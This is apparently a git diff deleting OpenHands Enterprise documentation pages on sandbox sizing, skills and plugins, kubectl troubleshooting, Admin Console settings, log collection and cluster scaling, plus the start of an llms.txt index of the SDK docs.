~5,000 | 5–96 | 5 | 100 TiB | 16 vCPU / 64 GiB — **needs a dedicated node** | - -Notes on the table: - -- **Minimum node counts assume autoscaling.** If your cluster cannot scale up quickly, raise the minimum toward your typical daily peak so users don't wait on node provisioning. -- **PostgreSQL** is deployed in-cluster by default. At 500 peak sandboxes and above, give it a dedicated node — or use [External PostgreSQL](/enterprise/external-postgres) and size it with your database team. - -## Adjusting After Rollout - -- Track sandbox pod count over time and size to the observed peak, plus headroom. -- Watch memory usage against limits to catch OOMKills, and usage against requests to catch evictions. See [Resource Limits](/enterprise/k8s-install/resource-limits) for the metrics and the settings to change. -- Grow volume storage before it fills. Sandbox workspaces are deleted with their sandbox, but their usage and retention may outstrip initial storage numbers - -## Next Steps - - - - Provision a VM and install OpenHands Enterprise. - - - Deploy into an existing cluster with Helm. - - - Tune CPU, memory, and storage for the application server and sandboxes. - - - Understand how conversations map onto sandboxes and how placement affects capacity. - - - -### Skills and Plugins -Source: https://docs.openhands.dev/enterprise/skills-and-plugins.md - -OpenHands Enterprise supports several ways to add reusable guidance and capabilities to -conversations. Choose the approach that meets your needs. - - - This guide covers Enterprise distribution and governance. For skill formats, triggers, and - precedence, see [Skills](/overview/skills). For plugin structure and development, see - [Plugins](/overview/plugins). - - -## Choose a Distribution Method - -| Method | Scope | Use When | -|---|---|---| -| `AGENTS.md` | One repository | Instructions should apply whenever OpenHands works in the repository | -| `.agents/skills/` | One repository | A focused workflow or reference should load on demand | -| Organization skills repository | Organization | Standards should be available across the organization's conversations | -| User skills repository | One user | A skill should follow one user across conversations | -| Conversation plugin | One conversation | A capability bundle is needed for a specific task | -| Marketplace | User or organization | Users need a governed collection of plugins they can load on demand | -| Marketplace Auto-Load | User or organization | Every applicable conversation requires the marketplace's plugins | - -## Understand Enterprise Loading Layers - -Enterprise marketplaces operate at three different layers: - -1. **Instance Plugin Marketplace** — An administrator configures the catalog source through - Replicated or Helm. This powers the Plugin Directory at `/plugins`. -2. **Registered marketplace** — A user or organization registers a Git repository under - `Settings` > `Skills`. Registration makes its plugins discoverable and governable. -3. **Conversation attachment** — A plugin is loaded into a conversation through the Plugin - Directory, a launch link, the V1 API, or Auto-Load. - -Registering a marketplace does not by itself load every plugin into every conversation. - -## Add Repository Skills - -Use repository files when a skill or instruction belongs to one codebase. - -### Permanent Repository Context - -Add `AGENTS.md` at the repository root for concise instructions that should always apply: - -```text -my-project/ -└── AGENTS.md -``` - -OpenHands loads this file when a conversation uses the repository. - -### On-Demand Repository Skills - -Add one directory per skill under `.agents/skills/`: - -```text -my-project/ -└── .agents/ - └── skills/ - └── deploy-helper/ - ├── SKILL.md - ├── scripts/ - └── references/ -``` - -The `SKILL.md` file contains the skill name, description, and instructions. OpenHands initially -shows the agent a summary and loads the full content when the skill is invoked or triggered. - -See [Skills](/overview/skills) for the complete format and loading precedence. - -## Add Organization and User Skills - -Use a special configuration repository when skills should apply beyond one project. - -For GitHub, create a repository named `.agents` under the organization or user and place skills -under `skills/`: - -```text -Great-Co/.agents -└── skills/ - └── engineering-standards/ - └── SKILL.md -``` - -For GitLab organizations, use `openhands-config` because GitLab repository names cannot begin -with a period. - - - Earlier OpenHands Enterprise releases may use a `.openhands` configuration repository. If an - existing deployment already uses `.openhands`, confirm the supported convention for that - release before migrating. Do not define duplicate skill names in both repositories. - - -The source control integration must have access to the configuration repository. Access to one -user or organization does not grant access to repositories owned by another organization. - -See [Organization and User Skills](/overview/skills/org) for more information. - -## Register a Marketplace - -Register a marketplace to make a Git-hosted plugin collection available to a user or organization. - -1. Open `Settings` > `Skills`. -2. In `Marketplaces`, select `+ Add Repository`. -3. Enter the repository URL. -4. Optionally specify a branch, tag, commit, or repository path. -5. Select the personal or organization scope available to your role. -6. Save the marketplace. - -The `Skills & Plugins` table shows the entries discovered from registered marketplaces and -built-in sources. - - - Register only repositories you trust. A loaded plugin can include skills, hooks, MCP servers, - agents, and commands. It can also use secrets available to the conversation. Explicit launch - flows require trust confirmation. Review every plugin before enabling Auto-Load, which may - attach plugins without a per-conversation prompt. - - -For private repositories, ensure that your Enterprise source control integration has access. - -## Load a Plugin for One Conversation - -Use explicit attachment when a plugin is needed for one task. This keeps ordinary conversations -isolated from unrelated plugin context and integrations. - - - - 1. Open `https://app./plugins`. - 2. Select a plugin. - 3. Select `Create New Conversation`. - 4. Review the repository, path, and ref. - 5. Confirm that you trust the plugin. - 6. Select `Start Conversation`. - - The plugin is loaded only into the new conversation. - - - Use the `/launch` route to share a preconfigured plugin: - - ```text - https://app./launch?plugins= - ``` - - A launch link can include multiple plugins, editable parameter defaults, and an optional - starting message. The user reviews the configuration and confirms trust before the - conversation starts. - - See [Plugin Launcher](/openhands/usage/cloud/plugin-launcher) for the plugin definition and - encoding format. Replace the Cloud hostname in its examples with your Enterprise application - hostname. - - - Add a `plugins` array to `POST /api/v1/app-conversations`: - - ```json - { - "initial_message": { - "content": [ - { - "type": "text", - "text": "Run the release readiness check." - } - ] - }, - "plugins": [ - { - "source": "github:AcmeCo/openhands-plugins", - "ref": "main", - "repo_path": "plugins/release-ready" - } - ] - } - ``` - - See [Cloud API](/openhands/usage/cloud/cloud-api) for authentication, response handling, and - conversation status. Use your Enterprise application hostname as the base URL. - - - -## Configure Auto-Load - -Auto-Load adds a registered marketplace's plugins to every applicable conversation in its scope. - -Use Auto-Load when: - -- Every conversation requires the capability. -- The marketplace is controlled and reviewed by your organization. -- The additional context and startup work are acceptable. -- The plugins are allowed to use the secrets available in those conversations. - -Keep Auto-Load off when users should choose plugins per task. - -To change Auto-Load: - -1. Open `Settings` > `Skills`. -2. Find the marketplace under `Marketplaces`. -3. Toggle `Auto-Load`. -4. Save the changes. -5. Start a new conversation to verify the new behavior. - -Changes do not retroactively reload skills or plugins in an already-running conversation. - -## Verify Skill and Plugin Loading - -Use this to really verify loading instead of checking only that a name appears in the UI. - -1. Create a small skill with a unique trigger and an exact expected response. -2. Start a new conversation in the intended scope. -3. Use the trigger. -4. Confirm that the response reflects the skill's instructions. -5. Start a control conversation outside that scope and confirm that the skill does not activate. - -For organization skills, use a conversation without a selected repository or explicit plugin when -the release supports organization-wide loading in that context. For marketplace Auto-Load, compare -a conversation created before the setting changed with a new conversation created afterward. - -## Troubleshooting - - - - Registration makes plugins available on demand. Enable Auto-Load for the marketplace or attach - a plugin explicitly through the Plugin Directory, a launch link, or the V1 API. - - - Confirm that the conversation selected the expected repository and ref. Verify the skill path - is `.agents/skills//SKILL.md` and that the source control integration can clone the - repository. - - - Skill enablement is based on the skill name, not its source. Disabling a built-in skill also - disables a custom skill with the same `name` in its `SKILL.md` frontmatter. A custom skill name - should not conflict with a built-in skill name. Rename the custom skill and its parent directory - to a unique name, such as `acme-github`. - - - Confirm that its trigger matches the user message or explicitly ask the agent to invoke the - skill. Test with a unique trigger and exact expected behavior. - - - -## Next Steps - - - - Learn about skill formats, triggers, and loading precedence. - - - Build bundles containing skills, hooks, MCP servers, agents, and commands. - - - Enable and configure the Enterprise Plugin Directory. - - - Create shareable links that open conversations with plugins attached. - - - -### Troubleshooting -Source: https://docs.openhands.dev/enterprise/troubleshooting.md - -OpenHands Enterprise Replicated VM installations run in a Replicated Embedded -Cluster which is a Kubernetes cluster based on k0s. Once you have access to the -VM, you can use standard Kubernetes commands to inspect OHE. For Helm -deployments, use your existing Kubernetes access to run the same commands. - -Most OHE workloads run in the `openhands` namespace. The Replicated Admin -Console runs in `kotsadm`, and ingress runs in `traefik`. - -## Start With a Support Bundle - -A support bundle is the fastest way to give OpenHands Support a snapshot of the -installation. You do not need to investigate the problem yourself before opening -a support ticket. - -### Use the Admin Console - -For a Replicated VM installation: - -1. Open `https://admin.:30000`. -2. Select `Troubleshoot`. -3. Select `Analyze` and wait for it to finish. -4. Select `Download bundle`. - -If `Send bundle to vendor` is available, you can upload the bundle for us to -inspect directly. Sending a support bundle does not automatically create a -support ticket, so be sure to still open a support ticket and mention the -support bundle upload. - -### Use the Command Line - -On a Replicated VM, use the command line when the Admin Console is unavailable. -For a Helm installation, run the Kubernetes command from a workstation with -`kubectl` access. - - - - Connect to the VM and run: - - ```bash - sudo /var/lib/embedded-cluster/bin/openhands support-bundle - ``` - - If the installation did not complete, run the original installer from the - directory where you extracted it: - - ```bash - sudo ./openhands support-bundle - ``` - - - For OHE installed with Helm in an existing Kubernetes cluster, run this - command from a workstation with `kubectl` access: - - ```bash - kubectl support-bundle --load-cluster-specs --namespace openhands - ``` - - See the [Kubernetes installation guide](/enterprise/k8s-install/installation#step-5-validate-the-installation) - if the `support-bundle` CLI is not installed. - - - -The bundle includes cluster health, Kubernetes resource state, application logs, -and OHE service checks. - -### Open a Support Ticket - -Open the OpenHands Support Portal provided during Enterprise onboarding. Please -attach the generated archive. If you used `Send bundle to vendor`, mention the -upload in the ticket. Include: - -- When the problem occurred, including the time zone. -- The affected user or conversation ID, when applicable. -- The expected and actual behavior. -- Any recent upgrade or configuration change. -- Steps that reproduce the problem. - -If you cannot access the Support Portal, please contact your OpenHands -representative for more assistance. - -## Inspect the Deployment - -This workflow is for practitioners who are already familiar with `kubectl`. - - - Keep your investigation read-only. Do not change Kubernetes resources unless - directed by OpenHands Support. Ad hoc `kubectl` changes can be overwritten - during a deployment or upgrade and may leave the installation in an - inconsistent state. - - -### Get a Kubernetes Session - - - - Connect to a controller VM. On a single-node installation, this is the OHE - VM. Then run: - - ```bash - sudo /var/lib/embedded-cluster/bin/openhands shell - ``` - - This opens a shell with `kubectl` configured for the embedded cluster. Run - `exit` when finished. - - - Use your existing Kubernetes access and confirm the current context: - - ```bash - kubectl config current-context - kubectl get pods -n openhands - ``` - - - -### Check Overall Status - -Record the time, then inspect the cluster and recent events: - -```bash -date -u -kubectl get nodes -o wide -kubectl get pods -n openhands -o wide -kubectl get deployments,statefulsets -n openhands -kubectl get events -n openhands --sort-by=.metadata.creationTimestamp -``` - -Start with the `STATUS`, `READY`, and `RESTARTS` columns: - -- `Pending` usually points to scheduling, storage, or capacity problems. -- `Init:` means an init container has not completed. Check that container's logs. -- `CrashLoopBackOff` means a container repeatedly exits. Check previous logs. -- A pod that is not ready or keeps restarting usually has a failed dependency, - health check, or resource limit. - -If the Kubernetes Metrics API is available, check current resource usage: - -```bash -kubectl top pods -n openhands -``` - -### Inspect a Pod and Its Logs - -```bash -kubectl describe pod -n openhands - -kubectl logs -n openhands \ - --all-containers=true --since=30m --timestamps - -kubectl logs -n openhands \ - --all-containers=true --previous --timestamps - -kubectl logs -n openhands -c \ - --since=10m --timestamps --follow -``` - -Use `--previous` after a container restarts. Use `-c` to select a specific -container, including an init container such as `migrate-db`. - -On a Replicated VM, these logs are also written to files on the VM. See -[Log Collection](/enterprise/vm-install/log-collection) to send them to your own -observability platform. - -### Choose the Right Component - -Pod names may include a release prefix and generated suffix. Match the -recognizable component name to the table below. - -| Component | Investigate when | -|---|---| -| `openhands` | Web application, API, conversations, and general application errors. | -| `openhands-integrations` | Integration events and background integration work. | -| `runtime-api` | Sandbox creation, startup, pause, and cleanup. | -| `runtime-...` | A particular conversation's sandbox. | -| `litellm` | Model-provider requests and authentication. | -| `keycloak` | Login, SSO, and authentication. | -| `kotsadm` namespace | Replicated Admin Console problems. | - -### Temporarily Enable Debug Logging - -On a Replicated VM, `Log Level` defaults to `INFO`. Use `DEBUG` only during a -short investigation: - -1. In the Admin Console, select `Config`. -2. Under `Troubleshooting`, set `Log Level` to `DEBUG`. -3. Save and deploy, then reproduce the problem. -4. Collect the logs or a support bundle. -5. Return `Log Level` to `INFO`, then save and deploy again. - -## Related Guides - - - - Install an OpenHands Enterprise VM deployment. - - - Configure a Replicated VM installation. - - - Install OHE into an existing Kubernetes cluster. - - - Diagnose and tune CPU, memory, replicas, and storage. - - - Send VM installation logs to your own observability platform. - - - -### Admin Console Configuration -Source: https://docs.openhands.dev/enterprise/vm-install/admin-console-configuration.md - -Use the Replicated Admin Console to configure an OpenHands Enterprise deployment installed with Replicated Embedded Cluster. - - - The available options depend on your OpenHands Enterprise release. This page follows the current release. If a field is not present in your Admin Console, check `Version history` for an available update. - - -## Open the Configuration Screen - -1. Open `https://admin.:30000`. -2. Log in with the Admin Console password created during installation. -3. Select `Config`. - -For initial installation instructions, see [Quick Start](/enterprise/quick-start). - - - Configuration pages contain credentials and other sensitive values. Do not include populated configuration screens in tickets, screenshots, or support messages. Use a support bundle when requested by OpenHands Support. - - -## Apply a Configuration Change - -1. Update the required fields. -2. Select `Save config`. -3. Review the pending configuration change. -4. Deploy the new sequence. -5. On `Dashboard`, wait for the application status to return to `Ready`. - -Some changes restart one or more OpenHands components. Make changes during a maintenance window when required by your operating policies. - -## Domain Configuration - -### Recommended: Simple - -Use the default `Simple` mode unless your organization requires a custom hostname for each service. - -1. Leave `Hostname Configuration Mode` set to `Simple (default)`. -2. Enter your `Base Domain`, such as `openhands.example.com`. - -Every hostname sits one subdomain under the base domain, so a single wildcard DNS record and TLS certificate for `*.openhands.example.com` cover all of them: - -| Service | Hostname | -|---|---| -| Admin Console | `admin.openhands.example.com:30000` | -| OpenHands application | `app.openhands.example.com` | -| Analytics | `analytics.openhands.example.com` | -| Authentication | `auth.openhands.example.com` | -| LLM proxy | `llm-proxy.openhands.example.com` | -| Runtime API | `runtime-api.openhands.example.com` | -| Sandboxes | `-runtime.openhands.example.com` | - - - Installations created before the Simple layout run in `Legacy` mode, which nests some hostnames deeper (`auth.app.`, `*.runtime.`). Keep existing installs on Legacy; their certificates and OAuth callbacks were issued for those hostnames. - - - - Select `Manual` only when your DNS or network requirements do not allow the Simple layout. - - | Field | Description | - |---|---| - | `Application Hostname` | Hostname for the OpenHands application. | - | `Analytics Hostname` | Hostname for the analytics service. | - | `Authentication Hostname` | Hostname for Keycloak. | - | `LLM Proxy Hostname` | Hostname for the bundled LiteLLM proxy. | - | `Runtime API Hostname` | Hostname for the Runtime API. | - | `Runtime Base Hostname` | Base hostname used to create sandbox routes. | - - You must create DNS records, issue certificates, and configure external OAuth and webhook callbacks for the complete custom hostname set. - - -### Additional CORS Origins - -`Additional Permitted CORS Origins` is optional in either hostname mode. Enter a comma-separated list of browser origins, including the scheme and host with no path or trailing slash. The OpenHands application origin is always allowed automatically. - -## Certificate Configuration - -| Field | Description | -|---|---| -| `TLS Certificate` | Required PEM-encoded server certificate. Include intermediate certificates when needed. | -| `TLS Private Key` | Required PEM-encoded private key matching the server certificate. | -| `Additional Trusted CA Certificates` | Optional PEM bundle added to the cluster trust store. Use this for private certificate authorities and concatenate multiple certificates into one file. | - - - A private CA must also be trusted by external systems that call OpenHands, including OAuth and webhook providers. Otherwise, sign-in callbacks and integration webhooks may fail TLS validation. - - -## LLM Configuration - -Select the administrator-managed LLM provider. The Admin Console shows only the fields required by the selected provider. - -| Provider | Fields | -|---|---| -| `Anthropic (Claude)` | API key and one or more Anthropic model IDs | -| `OpenAI (GPT)` | API key | -| `Google` | Google AI Studio API key, or Vertex AI project, location, service-account file, and model IDs | -| `DeepSeek` | API key | -| `Mistral AI` | API key | -| `Azure` | Authentication method, endpoint, API version, deployment names, and either an API key or Microsoft Entra service-principal credentials | -| `Groq` | API key | -| `OpenRouter` | API key | -| `AWS Bedrock` | Authentication method, AWS Region, model IDs, and optionally an access-key pair | -| `Custom/Local LLM` | Base URL, optional API key, and full LiteLLM model strings | - -### Provider Notes - -- For Azure, deployment names must exist at the configured endpoint and API version. -- For AWS Bedrock, use an EC2 instance profile where possible. Pods must be able to reach the instance metadata service, and the role needs model invocation permissions. -- For custom OpenAI-compatible endpoints, prefix model names with `openai/`. -- Model lists accept one model per line. - -### Bring Your Own Key - -Enable `Allow users to configure their own LLM providers (BYOK)` to let users add provider credentials and custom models in their OpenHands settings. Leave it disabled to restrict users to administrator-managed models. - -## LiteLLM Admin Console - -`LiteLLM Admin Password` sets the password for the LiteLLM UI at `https:///ui`. The username is `admin`. - -Changing this password restarts LiteLLM. Models added in LiteLLM appear in the OpenHands model selector after a short delay. Leave the LiteLLM `Team` field blank to make a model available to all users, and do not reuse a model name already configured in the Replicated LLM section. - -## Default OpenHands Organization - -| Field | Description | -|---|---| -| `Enable Default OpenHands Organization` | Lets the first user who signs in create and own the default organization. | -| `Automatically Add Signed-In Users` | Adds authenticated users to the default organization as members. | -| `Hide Personal Workspaces` | Shows the default organization as the only workspace. Existing personal data is hidden, not deleted. | - -These settings are additive. Disabling them does not delete organizations, remove members, or demote users. - -## Authentication and Integrations - -The following groups appear independently and reveal additional required fields when enabled. - -### Bitbucket Data Center Authentication - -Configure the server domain, OAuth application credentials, and bot identity used for repository operations. See [Bitbucket Data Center](/enterprise/integrations/bitbucket-data-center). - -### Azure DevOps Authentication - -Configure the Microsoft Entra tenant, Azure DevOps organization, client ID, and client secret. See [Azure DevOps](/enterprise/integrations/azure-devops). - -### Jira Data Center Integration - -Configure the Jira base URL, account-linking method, and either OAuth or service-account credentials. See [Jira Data Center](/enterprise/integrations/jira-data-center). - -### GitHub Authentication - -Enable the GitHub App used for sign-in and repository access, then provide: - -- `GitHub App Client ID` -- `GitHub App Client Secret` -- `GitHub App ID` -- `GitHub App Slug` -- `GitHub App Webhook Secret` -- `GitHub App Private Key` - -Use a GitHub App, not a GitHub OAuth App. - -### GitLab Authentication - -Provide the GitLab host and OAuth client credentials. Leave the host at `gitlab.com` for GitLab SaaS, or enter the hostname of your self-managed GitLab instance. - -### Slack - -Provide the Slack client ID, client secret, and signing secret. After deployment, complete the OpenHands-side installation and account-linking flow. See [Slack](/enterprise/integrations/slack). - -## SMTP Email Delivery - -Enable SMTP to send budget alerts and administrator notifications. - -| Field | Description | -|---|---| -| `SMTP Host` | SMTP server hostname. | -| `SMTP Port` | SMTP server port. The default is `587`. | -| `SMTP From Email` | Sender address for OpenHands notifications. | -| `Use SMTP SSL` | Uses implicit TLS/SMTPS. | -| `Use SMTP STARTTLS` | Upgrades a plain connection with STARTTLS. Enabled by default. | -| `SMTP Username` | Optional authentication username. | -| `SMTP Password` | Optional authentication password. | - -Match the SSL and STARTTLS options to the behavior required by your mail server. - -## Database Configuration - -Choose the bundled PostgreSQL database or an external PostgreSQL service. - -For an external database, configure: - -- Host and port -- SSL mode -- Username and password -- Whether OpenHands should create databases automatically -- Database names for OpenHands, Keycloak, LiteLLM, Runtime API, and Automations - -See [External PostgreSQL](/enterprise/external-postgres) for version, encoding, privilege, and database requirements. - - - Do not switch an existing deployment from embedded to external PostgreSQL without a migration and rollback plan. Changing connection settings does not migrate existing data. - - -## Sandbox Configuration - -| Field | Description | -|---|---| -| `Sandbox Isolation` | Selects the sandbox isolation mechanism supported by the deployment. | -| `Sandbox Routing Mode` | Uses subdomains or another supported routing mode for sandbox traffic. | -| `Idle Time (seconds)` | Pauses idle conversations after the configured period, releasing CPU and memory. | -| `Deletion Time (seconds)` | Permanently deletes paused conversations and their storage after the configured period. | -| `Storage Size` | Persistent storage allocated to each sandbox. | -| `Ephemeral Storage Size` | Ephemeral-storage reservation for each sandbox. This affects node scheduling capacity. | -| `Memory Request` | Memory reserved for each sandbox. | -| `Memory Limit` | Maximum memory available to each sandbox. | -| `CPU Request` | CPU reserved for each sandbox. | -| `CPU Limit` | Maximum CPU available to each sandbox. | -| `Warm Runtime Count` | Number of ready sandboxes kept for faster conversation startup. Set to `0` for cold starts only. | -| `Additional Host Path Mounts` | Host paths mounted into every sandbox, one per line as `host_path:container_path[:ro\|rw]`. | -| `Enable /dev/kvm passthrough (QEMU/KVM)` | Makes host KVM acceleration available inside sandboxes. The node must expose `/dev/kvm`. | -| `Run sandboxes on dedicated nodes` | Confines sandboxes to machines added with the `sandbox` role, and keeps the application off those machines. Requires at least one `sandbox` machine already joined. See [Scaling the Cluster](/enterprise/vm-install/scaling). | - - - `Idle Time` and `Deletion Time` control when idle and paused conversations are - reclaimed. A single running session is additionally capped at 12 hours - regardless of these values; this maximum is not currently configurable. See - [Conversations and Sandboxes](/enterprise/conversations-and-sandboxes) for the - full conversation lifecycle. - - -Resource requests are scheduling reservations. Multiply per-sandbox requests by the expected concurrent sandbox count and leave capacity for the platform services. - -### Custom Sandbox Image - -Enable `Use a Custom Sandbox Image` to configure an image repository, tag, and optional private-registry credentials. See [Custom Sandbox Images](/enterprise/custom-sandbox-image). - -## Proxy Configuration - -Enable the HTTP proxy when outbound traffic must pass through a corporate proxy. - -| Field | Description | -|---|---| -| `HTTP_PROXY` | Proxy URL for HTTP traffic. | -| `HTTPS_PROXY` | Proxy URL for HTTPS traffic. | -| `NO_PROXY` | Additional comma-separated hosts that bypass the proxy. OpenHands adds internal services and configured deployment hostnames automatically. | -| `SSL Verification` | Verifies outbound TLS certificates. Keep enabled unless a trusted proxy configuration requires otherwise. | - -Prefer adding the proxy CA under `Additional Trusted CA Certificates` instead of disabling TLS verification. - -## Troubleshooting - -`Log Level` defaults to `INFO`. Use `DEBUG` only while investigating a problem because it produces significantly more log output. Return to `INFO` after collecting the necessary diagnostics. - -See [Troubleshooting](/enterprise/troubleshooting) to generate a -support bundle, inspect component logs, and open a support ticket. - -## Experimental - -`Enable Plugin Directory` deploys the experimental plugin marketplace at `/plugins`. When enabled, configure a marketplace source beginning with `github://`, `https://`, or `http://`. - -See [Plugin Marketplace](/enterprise/plugin-marketplace) for setup and limitations. - -## Analytics Configuration - -Enable analytics to deploy the bundled Laminar observability services. Optionally provide a Laminar project API key; an ingest-only key is recommended. - -See [Analytics](/enterprise/analytics) for the complete setup and verification flow. - -## Automations - -`Enable Automations` deploys the Automations UI and backend. - -If you use external PostgreSQL, create and grant access to the Automations database before enabling this option. - -## Advanced Options - -| Field | Description | -|---|---| -| `OpenHands Resolver Label` | Label and `@mention` that trigger supported issue and pull-request integrations. | -| `Enable Forwarding Client Headers Through LiteLLM to LLM Providers` | Forwards selected client headers. It does not forward `Authorization` or arbitrary non-`x-*` gateway headers. | -| `Enable Custom LLM Extra HTTP Headers (JSON)` | Adds static headers to requests sent through a custom LLM gateway. | -| `Custom LLM Extra HTTP Headers (JSON)` | JSON object containing static string header values. Treat these values as secrets when they contain credentials. | -| `Login Session Idle Timeout (seconds)` | Maximum inactivity period before a user must sign in again. | -| `Login Session Max Duration (seconds)` | Maximum total login-session lifetime, regardless of activity. | -| `Enable OEM User Creation Flow` | Lets OEM deployments provision organizations and users through the supported OEM flow. | - -Change advanced options only when the corresponding integration or deployment requirement is understood. - -## Installer-Managed Secrets - -Replicated generates internal PostgreSQL, Redis, JWT, Keycloak, LiteLLM, sandbox, plugin-directory, and Automations secrets during installation. These values are intentionally hidden from the configuration screen. - - - Do not rotate installer-managed secrets manually unless OpenHands Support provides a component-specific procedure. In particular, changing the LiteLLM salt key makes provider credentials already stored by LiteLLM undecryptable. - - -## Related Guides - - - - Install an OpenHands Enterprise VM deployment. - - - Prepare and configure an external database. - - - Build and deploy a custom agent-server image. - - - Configure Laminar observability. - - - Collect diagnostics and inspect the deployment. - - - -### Log Collection -Source: https://docs.openhands.dev/enterprise/vm-install/log-collection.md - -An OpenHands Enterprise VM installation writes the output of every service to log files on the VM. To -bring those logs into your observability platform, install your platform's log agent on the VM and -point it at those files. - -For one-off diagnostics, collect a support bundle instead. See -[Troubleshooting](/enterprise/troubleshooting). - -## Where the Logs Are - -Application logs live under `/var/log/pods`. Each path is built from the namespace, the pod, and the -container: - -``` -/var/log/pods/__//.log -``` - -For example: - -``` -/var/log/pods/openhands_openhands-cbdbd996b-r54j8_30f64156-29b8-4b64-b663-cf5b4c697b64/openhands/17.log -``` - -The VM installation writes to files ending in `.log`. It rotates a file once it grows large, -appending a timestamp to the name and compressing it, for example `16.log.20260824-235907.gz`. A -pattern ending in `*.log` therefore collects current output and skips the rotated copies. - -`/var/log/containers` holds a symlink to every one of those files, carrying the same details in the -file name rather than in the directories: - -``` -/var/log/containers/__-.log -``` - -Log agents with built-in Kubernetes support read that directory, because they can take the pod and -container names straight from the file name. - -| Location | Contains | -|---|---| -| `/var/log/pods/` | Output from OpenHands, its supporting services, and sandboxes. | -| The systemd journal | Cluster and operating system logs. | -| `/var/log/embedded-cluster/` | Installer output, written during installation and upgrades. | - -The application log files are readable only by `root`. - - - The VM keeps only recent output, roughly 50 MB per service, and the log files for a sandbox are - deleted when its conversation is cleaned up. Run your log agent continuously and set your - retention period in your observability platform. - - -## Collect the Logs - - - - Install the Linux log agent for your observability platform on the VM, following your vendor's - instructions. Run it as `root` so that it can read the log files. - - - Configure a file input for `/var/log/pods/*/*/*.log`, or `/var/log/containers/*.log` if your - log agent reads the symlinks. - - Every line begins with a timestamp and the output stream: - - ``` - 2026-08-25T13:12:11.300228843Z stdout F {"message": "GET /health 200", "severity": "INFO"} - ``` - - Enable your log agent's parser for this format, called `cri` in Fluent Bit, so that the - timestamp and the message arrive as separate fields. The message itself is JSON. - - - Enable your log agent's journald input to pick up cluster and operating system logs. - - - Print a recent line on the VM, then search for it in your observability platform: - - ```bash - sudo sh -c 'tail -n 1 /var/log/pods/openhands_openhands-*/openhands/*.log' - ``` - - - A VM only holds the logs for the services that run on it. Repeat these steps on each VM in the - installation, including any VM that runs sandboxes. - - - -## Related Guides - - - - Collect a support bundle and inspect workloads. - - - Configure a Replicated VM installation. - - - -### Scaling the Cluster -Source: https://docs.openhands.dev/enterprise/vm-install/scaling.md - -An OpenHands Enterprise VM deployment starts as a single machine that runs everything: the OpenHands application, its supporting services, and the sandboxes where conversations execute. Add machines when you need more capacity. - -## Machine Roles - -When you add a machine, you choose the role it takes. The role determines what runs on it and cannot be changed afterward. - -| Role | Runs | -|---|---| -| `app` | The OpenHands application and its supporting services. | -| `sandbox` | Sandboxes only. | - -## Recommended: Dedicated Sandbox Machines - -For production, run sandboxes on dedicated `sandbox` machines. - -Sandboxes are the most variable workload in a deployment. When sandboxes share a machine with the OpenHands application, a burst of conversations competes for the same CPU and memory the application needs to serve requests. Separating them means sandbox demand cannot degrade or take down the application. - -Dedicated sandbox machines also give you a dial for conversation capacity. - -## Before You Begin - - - New machines must be able to reach the existing machines over your private network. If your environment restricts traffic between machines, open these ports first. A machine that cannot reach the others will appear to join successfully and then fail to run workloads. - - Open in both directions between all machines: - - - `2380/TCP` - - `4789/UDP` - - `6443/TCP` - - `9091/TCP` - - `9443/TCP` - - `10249/TCP` - - `10250/TCP` - - `10256/TCP` - - A joining machine also needs to reach `30000/TCP` and `50000/TCP` on the existing machines. - - Note that `4789` is UDP. - - -## Add a Machine - - - - In the Admin Console, select `Cluster Management`, then `Add node`. - - - Select `app` or `sandbox`. The role cannot be changed after the machine is added. - - - The Admin Console displays download, extraction, and join commands for the role you selected. Connect to the new machine and run them in order. - - - Return to `Cluster Management` and wait for the new machine's status to become `Ready`. - - - - - You can select both `app` and `sandbox`, but this is not recommended. A machine with both roles runs the application and sandboxes together, which gives up the separation you are adding the machine for. When adding a sandbox machine, make sure `app` is unchecked. - - -## Add Sandbox Capacity - -Add one or more machines with the `sandbox` role, then confine sandboxes to them. - - - - Follow [Add a Machine](#add-a-machine) and select the `sandbox` role. Wait for its status to become `Ready`. - - - Open `Config`, find `Sandbox Configuration`, and enable `Run sandboxes on dedicated nodes`. Save and deploy the change. - - - - - You can enable `Run sandboxes on dedicated nodes` before adding a `sandbox` machine, but new conversations cannot start until one is `Ready`. A configuration check warns you if the setting is enabled while no sandbox machine exists. - - -Conversations that were already running stay on their original machine and are cleaned up normally as they go idle. Only new conversations move to the sandbox machines, so the transition needs no downtime. - -To add more conversation capacity later, add another `sandbox` machine. - -## Add Application Capacity - -Add machines with the `app` role to increase capacity for the OpenHands application itself. - -## Related Guides - -- [Admin Console Configuration](/enterprise/vm-install/admin-console-configuration) -- [Conversations and Sandboxes](/enterprise/conversations-and-sandboxes) diff --git a/llms.txt b/llms.txt deleted file mode 100644 index 638b3c95d..000000000 --- a/llms.txt +++ /dev/null @@ -1,292 +0,0 @@ -# OpenHands Docs - -> LLM-friendly index of OpenHands documentation (V1). Legacy V0 docs pages are intentionally excluded. - -The sections below intentionally separate OpenHands product documentation (Web App Server / Cloud / CLI) -from the OpenHands Software Agent SDK. - -## OpenHands Software Agent SDK - -- [ACP Agent](https://docs.openhands.dev/sdk/guides/agent-acp.md): Delegate to an ACP-compatible server (Claude Code, Gemini CLI, etc.) instead of calling an LLM directly. -- [Agent](https://docs.openhands.dev/sdk/arch/agent.md): High-level architecture of the reasoning-action loop -- [Agent Server Package](https://docs.openhands.dev/sdk/arch/agent-server.md): Install, run, and secure the OpenHands Agent Server for remote agent execution. -- [Agent Settings](https://docs.openhands.dev/sdk/guides/agent-settings.md): Configure, serialize, and recreate agents from structured settings. -- [Agent Skills & Context](https://docs.openhands.dev/sdk/guides/skill.md): Skills add specialized behaviors, domain knowledge, and context-aware triggers to your agent through structured prompts. -- [API-based Sandbox](https://docs.openhands.dev/sdk/guides/agent-server/api-sandbox.md): Connect to hosted API-based agent server for fully managed infrastructure. -- [Apptainer Sandbox](https://docs.openhands.dev/sdk/guides/agent-server/apptainer-sandbox.md): Run agent server in rootless Apptainer containers for HPC and shared computing environments. -- [Ask Agent Questions](https://docs.openhands.dev/sdk/guides/convo-ask-agent.md): Get sidebar replies from the agent during conversation execution without interrupting the main flow. -- [Ask Oracle](https://docs.openhands.dev/sdk/guides/agent-ask-oracle.md): Let an agent consult a saved Oracle LLM profile for stateless second-opinion advice. -- [Assign Reviews](https://docs.openhands.dev/sdk/guides/github-workflows/assign-reviews.md): Automate PR management with intelligent reviewer assignment and workflow notifications using OpenHands Agent -- [Browser Session Recording](https://docs.openhands.dev/sdk/guides/browser-session-recording.md): Record and replay your agent's browser sessions using rrweb. -- [Browser Use](https://docs.openhands.dev/sdk/guides/agent-browser-use.md): Enable web browsing and interaction capabilities for your agent. -- [Condenser](https://docs.openhands.dev/sdk/arch/condenser.md): High-level architecture of the 